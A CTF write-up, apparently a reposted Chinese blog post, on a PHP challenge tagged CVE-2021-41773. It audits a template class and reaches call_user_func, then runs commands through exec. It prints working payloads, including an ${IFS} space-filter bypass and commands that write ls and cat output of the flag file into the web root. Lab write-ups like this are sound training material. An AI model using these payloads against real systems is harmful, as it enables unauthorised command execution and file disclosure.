打開環境

所以要我們讀取上層目錄的某個檔案 所以我想應該會存在任意檔案讀取和路徑穿越漏洞
然后標簽有CVE-2021-41773
所以直接github拿到這個漏洞的
工具
payload

我們來讀一下index.php.txt

<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
我們取讀取Class.php 發現直接讀不行 和之前一樣Class.php.txt

<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
在index.php中get傳參
它對我們傳參的值進行display方法
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
然后經過extract,再進行getTempName方法
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
這里給了個目錄/template/admin/
我們試著直接訪問一下

我們會發現 它會呼叫listdata方法
然后我們在listadta方法中發現危險函式
$rt = call_user_func_array($param['name'], $p);
$rt = call_user_func($param['name']);
方法一:
利用call_user_func
所以我們來梳理一下思路
我們要呼叫這個函式,我們需要呼叫listdata方法,要這個listdata方法就需要進入template/admin/index.html這個頁面,就需要先讓dir === ‘admin’,所以就是讓space=admin,然后$template=index.html,就是filename=index.html,但是呼叫listdata方法 我們也需要傳參mod變數
帶著走一遍代碼審計吧
$_params = trim($_params);//洗掉兩側多余的空格
$params = explode(' ', $_params);//以空格分隔成陣列
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {//遍歷新?成的陣列
$var = substr($t, 0, strpos($t, '='));//key
$val = substr($t, strpos($t, '=') + 1);//value
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;//陣列定義
}
}
這就是陣列定義的流程
switch ($system['action']) {//把key為action的值來比較
case 'function':
if (!isset($param['name'])) {//必須有key為name
return 'hacker!!';
} elseif (!function_exists($param['name']))//還必須被定義
{
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];//我們只需要這一步定義
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);//利用的key為name的value值
}
所以payload很簡單了
URL?filename=index.html
(POST)space=admin&mod=m1kael action=function name=phpinfo
找到flag

方法二
利用call_user_func_array
通過上個函式的利用我們發現exec未被禁用
我們可以利用這個函式 唯一不同的地方就是
if (!$force) {
$p = [];//我們只需要這一步定義
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
還需要陣列的一個key為param它的value為我們的命令
name的value值為exec即可進行命令執行
但是之前分割陣列的時候過濾了空格 所以命令執行中的空格可以用${IFS}繞過
所以來試試
URL?filename=index.html
(POST)space=admin&mod=m1kael action=function name=exec param=ls${IFS}/>/var/www/html/a
然后我們再訪問a 成功

繼續得到flag
URL?filename=index.html
(POST)space=admin&mod=m1kael action=function name=exec param=cat${IFS}/f11111111aaaagggg>/var/www/html/a

知識點:這道題其實就一個cve的利用+php代碼審計
希望這篇文章能夠幫助你!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/387785.html
標籤:其他
上一篇:Log4j2漏洞資訊最新跟進
